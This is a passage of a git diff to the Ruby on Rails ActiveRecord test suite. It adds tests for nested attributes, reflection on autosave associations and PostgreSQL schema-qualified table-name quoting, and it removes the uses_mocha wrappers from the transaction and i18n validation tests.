+ [nil, '0', 0, 'false', false].each do |not_truth|
+ assert_no_difference('Pirate.count') do
+ @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => not_truth })
+ end
+ end
+ end
+
+ def test_should_not_delete_an_existing_record_if_allow_destroy_is_false
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+ assert_no_difference('Pirate.count') do
+ @ship.update_attribute(:pirate_attributes, { :id => @ship.pirate.id, :_delete => '1' })
+ end
+
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_should_work_with_update_attributes_as_well
+ @ship.update_attributes({ :name => 'Mister Pablo', :pirate_attributes => { :catchphrase => 'Arr' } })
+ @ship.reload
+
+ assert_equal 'Mister Pablo', @ship.name
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ assert_no_difference('Pirate.count') do
+ @ship.attributes = { :pirate_attributes => { :id => @ship.pirate.id, '_delete' => true } }
+ end
+ assert_difference('Pirate.count', -1) { @ship.save }
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Ship.reflect_on_association(:pirate).options[:autosave]
+ end
+end
+
+module NestedAttributesOnACollectionAssociationTests
+ include AssertRaiseWithMessage
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @pirate, association_setter
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
+ @alternate_params[association_getter].stringify_keys!
+ @pirate.update_attributes @alternate_params
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+ end
+
+ def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
+ @pirate.send(association_setter, @alternate_params[association_getter].values)
+ @pirate.save
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+ end
+
+ def test_should_also_work_with_a_HashWithIndifferentAccess
+ @pirate.send(association_setter, HashWithIndifferentAccess.new('foo' => HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
+ @pirate.save
+ assert_equal 'Grace OMalley', @child_1.reload.name
+ end
+
+ def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
+ @pirate.attributes = @alternate_params
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+ assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+ end
+
+ def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
+ @child_1.stubs(:id).returns('ABC1X')
+ @child_2.stubs(:id).returns('ABC2X')
+
+ @pirate.attributes = {
+ association_getter => [
+ { :id => @child_1.id, :name => 'Grace OMalley' },
+ { :id => @child_2.id, :name => 'Privateers Greed' }
+ ]
+ }
+
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name]
+ end
+
+ def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
+ @pirate.send(@association_name).destroy_all
+ @pirate.reload.attributes = {
+ association_getter => { 'foo' => { :name => 'Grace OMalley' }, 'bar' => { :name => 'Privateers Greed' }}
+ }
+
+ assert @pirate.send(@association_name).first.new_record?
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+
+ assert @pirate.send(@association_name).last.new_record?
+ assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+ end
+
+ def test_should_not_assign_delete_key_to_a_record
+ assert_nothing_raised ActiveRecord::UnknownAttributeError do
+ @pirate.send(association_setter, { 'foo' => { '_delete' => '0' }})
+ end
+ end
+
+ def test_should_ignore_new_associated_records_with_truthy_delete_attribute
+ @pirate.send(@association_name).destroy_all
+ @pirate.reload.attributes = {
+ association_getter => {
+ 'foo' => { :name => 'Grace OMalley' },
+ 'bar' => { :name => 'Privateers Greed', '_delete' => '1' }
+ }
+ }
+
+ assert_equal 1, @pirate.send(@association_name).length
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+ end
+
+ def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
+ @alternate_params[association_getter]['baz'] = {}
+ assert_no_difference("@pirate.send(@association_name).length") do
+ @pirate.attributes = @alternate_params
+ end
+ end
+
+ def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
+ attributes = ActiveSupport::OrderedHash.new
+ attributes['123726353'] = { :name => 'Grace OMalley' }
+ attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353
+ @pirate.send(association_setter, attributes)
+
+ assert_equal ['Posideons Killer', 'Killer bandita Dionne', 'Privateers Greed', 'Grace OMalley'].to_set, @pirate.send(@association_name).map(&:name).to_set
+ end
+
+ def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
+ assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
+ assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, ActiveSupport::OrderedHash.new) }
+
+ assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+ @pirate.send(association_setter, "foo")
+ end
+ end
+
+ def test_should_work_with_update_attributes_as_well
+ @pirate.update_attributes(:catchphrase => 'Arr',
+ association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }})
+
+ assert_equal 'Grace OMalley', @child_1.reload.name
+ end
+
+ def test_should_update_existing_records_and_add_new_ones_that_have_no_id
+ @alternate_params[association_getter]['baz'] = { :name => 'Buccaneers Servant' }
+ assert_difference('@pirate.send(@association_name).count', +1) do
+ @pirate.update_attributes @alternate_params
+ end
+ assert_equal ['Grace OMalley', 'Privateers Greed', 'Buccaneers Servant'].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
+ end
+
+ def test_should_be_possible_to_destroy_a_record
+ ['1', 1, 'true', true].each do |true_variable|
+ record = @pirate.reload.send(@association_name).create!(:name => 'Grace OMalley')
+ @pirate.send(association_setter,
+ @alternate_params[association_getter].merge('baz' => { :id => record.id, '_delete' => true_variable })
+ )
+
+ assert_difference('@pirate.send(@association_name).count', -1) do
+ @pirate.save
+ end
+ end
+ end
+
+ def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
+ [nil, '', '0', 0, 'false', false].each do |false_variable|
+ @alternate_params[association_getter]['foo']['_delete'] = false_variable
+ assert_no_difference('@pirate.send(@association_name).count') do
+ @pirate.update_attributes(@alternate_params)
+ end
+ end
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ assert_no_difference('@pirate.send(@association_name).count') do
+ @pirate.send(association_setter, @alternate_params[association_getter].merge('baz' => { :id => @child_1.id, '_delete' => true }))
+ end
+ assert_difference('@pirate.send(@association_name).count', -1) { @pirate.save }
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Pirate.reflect_on_association(@association_name).options[:autosave]
+ end
+
+ private
+
+ def association_setter
+ @association_setter ||= "#{@association_name}_attributes=".to_sym
+ end
+
+ def association_getter
+ @association_getter ||= "#{@association_name}_attributes".to_sym
+ end
+end
+
+class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase
+ def setup
+ @association_type = :has_many
+ @association_name = :birds
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.birds.create!(:name => 'Posideons Killer')
+ @pirate.birds.create!(:name => 'Killer bandita Dionne')
+
+ @child_1, @child_2 = @pirate.birds
+
+ @alternate_params = {
+ :birds_attributes => {
+ 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+ 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+ }
+ }
+ end
+
+ include NestedAttributesOnACollectionAssociationTests
+end
+
+class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+ def setup
+ @association_type = :has_and_belongs_to_many
+ @association_name = :parrots
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.parrots.create!(:name => 'Posideons Killer')
+ @pirate.parrots.create!(:name => 'Killer bandita Dionne')
+
+ @child_1, @child_2 = @pirate.parrots
+
+ @alternate_params = {
+ :parrots_attributes => {
+ 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+ 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+ }
+ }
+ end
+
+ include NestedAttributesOnACollectionAssociationTests
+end
diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb
index 171d0e6dae..f90a66d1dc 100644
--- a/activerecord/test/cases/query_cache_test.rb
+++ b/activerecord/test/cases/query_cache_test.rb
@@ -55,8 +55,6 @@ class QueryCacheTest < ActiveRecord::TestCase
end
end
-uses_mocha 'QueryCacheExpiryTest' do
-
class QueryCacheExpiryTest < ActiveRecord::TestCase
fixtures :tasks, :posts, :categories, :categories_posts
@@ -123,5 +121,3 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase
end
end
end
-
-end
diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb
index e0ed3e5886..db64bbb806 100644
--- a/activerecord/test/cases/reflection_test.rb
+++ b/activerecord/test/cases/reflection_test.rb
@@ -4,6 +4,7 @@ require 'models/customer'
require 'models/company'
require 'models/company_in_module'
require 'models/subscriber'
+require 'models/pirate'
class ReflectionTest < ActiveRecord::TestCase
fixtures :topics, :customers, :companies, :subscribers
@@ -91,6 +92,15 @@ class ReflectionTest < ActiveRecord::TestCase
assert_equal Money, Customer.reflect_on_aggregation(:balance).klass
end
+ def test_reflect_on_all_autosave_associations
+ expected = Pirate.reflect_on_all_associations.select { |r| r.options[:autosave] }
+ received = Pirate.reflect_on_all_autosave_associations
+
+ assert !received.empty?
+ assert_not_equal Pirate.reflect_on_all_associations.length, received.length
+ assert_equal expected, received
+ end
+
def test_has_many_reflection
reflection_for_clients = ActiveRecord::Reflection::AssociationReflection.new(:has_many, :clients, { :order => "id", :dependent => :destroy }, Firm)
@@ -160,9 +170,9 @@ class ReflectionTest < ActiveRecord::TestCase
def test_reflection_of_all_associations
# FIXME these assertions bust a lot
- assert_equal 26, Firm.reflect_on_all_associations.size
- assert_equal 20, Firm.reflect_on_all_associations(:has_many).size
- assert_equal 6, Firm.reflect_on_all_associations(:has_one).size
+ assert_equal 28, Firm.reflect_on_all_associations.size
+ assert_equal 21, Firm.reflect_on_all_associations(:has_many).size
+ assert_equal 7, Firm.reflect_on_all_associations(:has_one).size
assert_equal 0, Firm.reflect_on_all_associations(:belongs_to).size
end
diff --git a/activerecord/test/cases/schema_test_postgresql.rb b/activerecord/test/cases/schema_test_postgresql.rb
index 336a38765c..2d36bd0b22 100644
--- a/activerecord/test/cases/schema_test_postgresql.rb
+++ b/activerecord/test/cases/schema_test_postgresql.rb
@@ -18,9 +18,22 @@ class SchemaTest < ActiveRecord::TestCase
'moment timestamp without time zone default now()'
]
+ class Thing1 < ActiveRecord::Base
+ set_table_name "test_schema.things"
+ end
+
+ class Thing2 < ActiveRecord::Base
+ set_table_name "test_schema2.things"
+ end
+
+ class Thing3 < ActiveRecord::Base
+ set_table_name 'test_schema."things.table"'
+ end
+
def setup
@connection = ActiveRecord::Base.connection
@connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
+ @connection.execute "CREATE TABLE #{SCHEMA_NAME}.\"#{TABLE_NAME}.table\" (#{COLUMNS.join(',')})"
@connection.execute "CREATE SCHEMA #{SCHEMA2_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})"
@connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING btree (#{INDEX_A_COLUMN});"
@connection.execute "CREATE INDEX #{INDEX_A_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_A_COLUMN});"
@@ -47,6 +60,37 @@ class SchemaTest < ActiveRecord::TestCase
end
end
+
+ def test_proper_encoding_of_table_name
+ assert_equal '"table_name"', @connection.quote_table_name('table_name')
+ assert_equal '"table.name"', @connection.quote_table_name('"table.name"')
+ assert_equal '"schema_name"."table_name"', @connection.quote_table_name('schema_name.table_name')
+ assert_equal '"schema_name"."table.name"', @connection.quote_table_name('schema_name."table.name"')
+ assert_equal '"schema.name"."table_name"', @connection.quote_table_name('"schema.name".table_name')
+ assert_equal '"schema.name"."table.name"', @connection.quote_table_name('"schema.name"."table.name"')
+ end
+
+ def test_classes_with_qualified_schema_name
+ assert_equal 0, Thing1.count
+ assert_equal 0, Thing2.count
+ assert_equal 0, Thing3.count
+
+ Thing1.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 0, Thing2.count
+ assert_equal 0, Thing3.count
+
+ Thing2.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 1, Thing2.count
+ assert_equal 0, Thing3.count
+
+ Thing3.create(:id => 1, :name => "thing1", :email => "thing1@localhost", :moment => Time.now)
+ assert_equal 1, Thing1.count
+ assert_equal 1, Thing2.count
+ assert_equal 1, Thing3.count
+ end
+
def test_raise_on_unquoted_schema_name
assert_raise(ActiveRecord::StatementInvalid) do
with_schema_search_path '$user,public'
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index 4a07a8bb1d..f6533b5396 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -214,7 +214,7 @@ class TransactionTest < ActiveRecord::TestCase
end
def test_invalid_keys_for_transaction
- assert_raises ArgumentError do
+ assert_raise ArgumentError do
Topic.transaction :nested => true do
end
end
@@ -306,17 +306,15 @@ class TransactionTest < ActiveRecord::TestCase
assert_equal "Three", @three
end if Topic.connection.supports_savepoints?
- uses_mocha 'mocking connection.commit_db_transaction' do
- def test_rollback_when_commit_raises
- Topic.connection.expects(:begin_db_transaction)
- Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
- Topic.connection.expects(:outside_transaction?).returns(false)
- Topic.connection.expects(:rollback_db_transaction)
+ def test_rollback_when_commit_raises
+ Topic.connection.expects(:begin_db_transaction)
+ Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
+ Topic.connection.expects(:outside_transaction?).returns(false)
+ Topic.connection.expects(:rollback_db_transaction)
- assert_raise RuntimeError do
- Topic.transaction do
- # do nothing
- end
+ assert_raise RuntimeError do
+ Topic.transaction do
+ # do nothing
end
end
end
@@ -330,14 +328,12 @@ class TransactionTest < ActiveRecord::TestCase
assert Topic.connection.outside_transaction?
end
- uses_mocha 'mocking connection.rollback_db_transaction' do
- def test_rollback_wont_be_executed_if_no_transaction_active
- assert_raise RuntimeError do
- Topic.transaction do
- Topic.connection.rollback_db_transaction
- Topic.connection.expects(:rollback_db_transaction).never
- raise "Rails doesn't scale!"
- end
+ def test_rollback_wont_be_executed_if_no_transaction_active
+ assert_raise RuntimeError do
+ Topic.transaction do
+ Topic.connection.rollback_db_transaction
+ Topic.connection.expects(:rollback_db_transaction).never
+ raise "Rails doesn't scale!"
end
end
end
@@ -353,7 +349,7 @@ class TransactionTest < ActiveRecord::TestCase
end
end
- def test_sqlite_add_column_in_transaction_raises_statement_invalid
+ def test_sqlite_add_column_in_transaction
return true unless current_adapter?(:SQLite3Adapter, :SQLiteAdapter)
# Test first if column creation/deletion works correctly when no
@@ -372,10 +368,15 @@ class TransactionTest < ActiveRecord::TestCase
assert !Topic.column_names.include?('stuff')
end
- # Test now inside a transaction: add_column should raise a StatementInvalid
- Topic.transaction do
- assert_raises(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
- raise ActiveRecord::Rollback
+ if Topic.connection.supports_ddl_transactions?
+ assert_nothing_raised do
+ Topic.transaction { Topic.connection.add_column('topics', 'stuff', :string) }
+ end
+ else
+ Topic.transaction do
+ assert_raise(ActiveRecord::StatementInvalid) { Topic.connection.add_column('topics', 'stuff', :string) }
+ raise ActiveRecord::Rollback
+ end
end
end
diff --git a/activerecord/test/cases/validations_i18n_test.rb b/activerecord/test/cases/validations_i18n_test.rb
index e893a704f1..66982346e9 100644
--- a/activerecord/test/cases/validations_i18n_test.rb
+++ b/activerecord/test/cases/validations_i18n_test.rb
@@ -71,359 +71,353 @@ class ActiveRecordValidationsI18nTests < ActiveSupport::TestCase
end
# ActiveRecord::Errors
- uses_mocha 'ActiveRecord::Errors' do
+ def test_errors_generate_message_translates_custom_model_attribute_key
- def test_errors_generate_message_translates_custom_model_attribute_key
-
- I18n.expects(:translate).with(
- :topic,
- { :count => 1,
- :default => ['Topic'],
- :scope => [:activerecord, :models]
- }
- ).returns('Topic')
+ I18n.expects(:translate).with(
+ :topic,
+ { :count => 1,
+ :default => ['Topic'],
+ :scope => [:activerecord, :models]
+ }
+ ).returns('Topic')
- I18n.expects(:translate).with(
- :"topic.title",
- { :count => 1,
- :default => ['Title'],
- :scope => [:activerecord, :attributes]
- }
- ).returns('Title')
+ I18n.expects(:translate).with(
+ :"topic.title",
+ { :count => 1,
+ :default => ['Title'],
+ :scope => [:activerecord, :attributes]
+ }
+ ).returns('Title')
+
+ I18n.expects(:translate).with(
+ :"models.topic.attributes.title.invalid",
+ :value => nil,
+ :scope => [:activerecord, :errors],
+ :default => [
+ :"models.topic.invalid",
+ 'default from class def error 1',
+ :"messages.invalid"],
+ :attribute => "Title",
+ :model => "Topic"
+ ).returns('default from class def error 1')
+
+ @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1'
+ end
+
+ def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti
+
+ I18n.expects(:translate).with(
+ :reply,
+ { :count => 1,
+ :default => [:topic, 'Reply'],
+ :scope => [:activerecord, :models]
+ }
+ ).returns('Reply')
- I18n.expects(:translate).with(
+ I18n.expects(:translate).with(
+ :"reply.title",
+ { :count => 1,
+ :default => [:'topic.title', 'Title'],
+ :scope => [:activerecord, :attributes]
+ }
+ ).returns('Title')
+
+ I18n.expects(:translate).with(
+ :"models.reply.attributes.title.invalid",
+ :value => nil,
+ :scope => [:activerecord, :errors],
+ :default => [
+ :"models.reply.invalid",
:"models.topic.attributes.title.invalid",
- :value => nil,
- :scope => [:activerecord, :errors],
- :default => [
- :"models.topic.invalid",
- 'default from class def error 1',
- :"messages.invalid"],
- :attribute => "Title",
- :model => "Topic"
- ).returns('default from class def error 1')
-
- @topic.errors.generate_message :title, :invalid, :default => 'default from class def error 1'
- end
-
- def test_errors_generate_message_translates_custom_model_attribute_keys_with_sti
-
- I18n.expects(:translate).with(
- :reply,
- { :count => 1,
- :default => [:topic, 'Reply'],
- :scope => [:activerecord, :models]
- }
- ).returns('Reply')
+ :"models.topic.invalid",
+ 'default from class def',
+ :"messages.invalid"],
+ :model => 'Reply',
+ :attribute => 'Title'
+ ).returns("default from class def")
- I18n.expects(:translate).with(
- :"reply.title",
- { :count => 1,
- :default => [:'topic.title', 'Title'],
- :scope => [:activerecord, :attributes]
- }
- ).returns('Title')
-
- I18n.expects(:translate).with(
- :"models.reply.attributes.title.invalid",
- :value => nil,
- :scope => [:activerecord, :errors],
- :default => [
- :"models.reply.invalid",
- :"models.topic.attributes.title.invalid",
- :"models.topic.invalid",
- 'default from class def',
- :"messages.invalid"],
- :model => 'Reply',
- :attribute => 'Title'
- ).returns("default from class def")
-
- Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def'
+ Reply.new.errors.generate_message :title, :invalid, :default => 'default from class def'
- end
+ end
- def test_errors_add_on_empty_generates_message
- @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil})
- @topic.errors.add_on_empty :title
- end
+ def test_errors_add_on_empty_generates_message
+ @topic.errors.expects(:generate_message).with(:title, :empty, {:default => nil})
+ @topic.errors.add_on_empty :title
+ end
- def test_errors_add_on_empty_generates_message_with_custom_default_message
- @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'})
- @topic.errors.add_on_empty :title, 'custom'
- end
+ def test_errors_add_on_empty_generates_message_with_custom_default_message
+ @topic.errors.expects(:generate_message).with(:title, :empty, {:default => 'custom'})
+ @topic.errors.add_on_empty :title, 'custom'
+ end
- def test_errors_add_on_blank_generates_message
- @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
- @topic.errors.add_on_blank :title
- end
+ def test_errors_add_on_blank_generates_message
+ @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
+ @topic.errors.add_on_blank :title
+ end
- def test_errors_add_on_blank_generates_message_with_custom_default_message
- @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
- @topic.errors.add_on_blank :title, 'custom'
- end
+ def test_errors_add_on_blank_generates_message_with_custom_default_message
+ @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
+ @topic.errors.add_on_blank :title, 'custom'
+ end
- def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
- @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] }
- I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title')
- @topic.errors.full_messages :locale => 'en'
- end
+ def test_errors_full_messages_translates_human_attribute_name_for_model_attributes
+ @topic.errors.instance_variable_set :@errors, { 'title' => ['empty'] }
+ I18n.expects(:translate).with(:"topic.title", :default => ['Title'], :scope => [:activerecord, :attributes], :count => 1).returns('Title')
+ @topic.errors.full_messages :locale => 'en'
end
# ActiveRecord::Validations
- uses_mocha 'ActiveRecord::Validations' do
- # validates_confirmation_of w/ mocha
-
- def test_validates_confirmation_of_generates_message
- Topic.validates_confirmation_of :title
- @topic.title_confirmation = 'foo'
- @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil})
- @topic.valid?
- end
+ # validates_confirmation_of w/ mocha
+ def test_validates_confirmation_of_generates_message
+ Topic.validates_confirmation_of :title
+ @topic.title_confirmation = 'foo'
+ @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => nil})
+ @topic.valid?
+ end
- def test_validates_confirmation_of_generates_message_with_custom_default_message
- Topic.validates_confirmation_of :title, :message => 'custom'
- @topic.title_confirmation = 'foo'
- @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'})
- @topic.valid?
- end
+ def test_validates_confirmation_of_generates_message_with_custom_default_message
+ Topic.validates_confirmation_of :title, :message => 'custom'
+ @topic.title_confirmation = 'foo'
+ @topic.errors.expects(:generate_message).with(:title, :confirmation, {:default => 'custom'})
+ @topic.valid?
+ end
- # validates_acceptance_of w/ mocha
+ # validates_acceptance_of w/ mocha
- def test_validates_acceptance_of_generates_message
- Topic.validates_acceptance_of :title, :allow_nil => false
- @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil})
- @topic.valid?
- end
+ def test_validates_acceptance_of_generates_message
+ Topic.validates_acceptance_of :title, :allow_nil => false
+ @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => nil})
+ @topic.valid?
+ end
- def test_validates_acceptance_of_generates_message_with_custom_default_message
- Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false
- @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'})
- @topic.valid?
- end
+ def test_validates_acceptance_of_generates_message_with_custom_default_message
+ Topic.validates_acceptance_of :title, :message => 'custom', :allow_nil => false
+ @topic.errors.expects(:generate_message).with(:title, :accepted, {:default => 'custom'})
+ @topic.valid?
+ end
- # validates_presence_of w/ mocha
+ # validates_presence_of w/ mocha
- def test_validates_presence_of_generates_message
- Topic.validates_presence_of :title
- @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
- @topic.valid?
- end
+ def test_validates_presence_of_generates_message
+ Topic.validates_presence_of :title
+ @topic.errors.expects(:generate_message).with(:title, :blank, {:default => nil})
+ @topic.valid?
+ end
- def test_validates_presence_of_generates_message_with_custom_default_message
- Topic.validates_presence_of :title, :message => 'custom'
- @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
- @topic.valid?
- end
+ def test_validates_presence_of_generates_message_with_custom_default_message
+ Topic.validates_presence_of :title, :message => 'custom'
+ @topic.errors.expects(:generate_message).with(:title, :blank, {:default => 'custom'})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_short
- Topic.validates_length_of :title, :within => 3..5
- @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_short
+ Topic.validates_length_of :title, :within => 3..5
+ @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
- Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
- @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
+ Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
+ @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_long
- Topic.validates_length_of :title, :within => 3..5
- @topic.title = 'this title is too long'
- @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_long
+ Topic.validates_length_of :title, :within => 3..5
+ @topic.title = 'this title is too long'
+ @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
- Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
- @topic.title = 'this title is too long'
- @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
+ Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
+ @topic.title = 'this title is too long'
+ @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
+ @topic.valid?
+ end
- # validates_length_of :within w/ mocha
+ # validates_length_of :within w/ mocha
- def test_validates_length_of_within_generates_message_with_title_too_short
- Topic.validates_length_of :title, :within => 3..5
- @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_short
+ Topic.validates_length_of :title, :within => 3..5
+ @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => nil})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
- Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
- @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_short_and_custom_default_message
+ Topic.validates_length_of :title, :within => 3..5, :too_short => 'custom'
+ @topic.errors.expects(:generate_message).with(:title, :too_short, {:count => 3, :default => 'custom'})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_long
- Topic.validates_length_of :title, :within => 3..5
- @topic.title = 'this title is too long'
- @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_long
+ Topic.validates_length_of :title, :within => 3..5
+ @topic.title = 'this title is too long'
+ @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => nil})
+ @topic.valid?
+ end
- def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
- Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
- @topic.title = 'this title is too long'
- @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_length_of_within_generates_message_with_title_too_long_and_custom_default_message
+ Topic.validates_length_of :title, :within => 3..5, :too_long => 'custom'
+ @topic.title = 'this title is too long'
+ @topic.errors.expects(:generate_message).with(:title, :too_long, {:count => 5, :default => 'custom'})
+ @topic.valid?
+ end
- # validates_length_of :is w/ mocha
+ # validates_length_of :is w/ mocha
- def test_validates_length_of_is_generates_message
- Topic.validates_length_of :title, :is => 5
- @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil})
- @topic.valid?
- end
+ def test_validates_length_of_is_generates_message
+ Topic.validates_length_of :title, :is => 5
+ @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => nil})
+ @topic.valid?
+ end
- def test_validates_length_of_is_generates_message_with_custom_default_message
- Topic.validates_length_of :title, :is => 5, :message => 'custom'
- @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'})
- @topic.valid?
- end
+ def test_validates_length_of_is_generates_message_with_custom_default_message
+ Topic.validates_length_of :title, :is => 5, :message => 'custom'
+ @topic.errors.expects(:generate_message).with(:title, :wrong_length, {:count => 5, :default => 'custom'})
+ @topic.valid?
+ end
- # validates_uniqueness_of w/ mocha
+ # validates_uniqueness_of w/ mocha
- def test_validates_uniqueness_of_generates_message
- Topic.validates_uniqueness_of :title
- @topic.title = unique_topic.title
- @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'})
- @topic.valid?
- end
+ def test_validates_uniqueness_of_generates_message
+ Topic.validates_uniqueness_of :title
+ @topic.title = unique_topic.title
+ @topic.errors.expects(:generate_message).with(:title, :taken, {:default => nil, :value => 'unique!'})
+ @topic.valid?
+ end
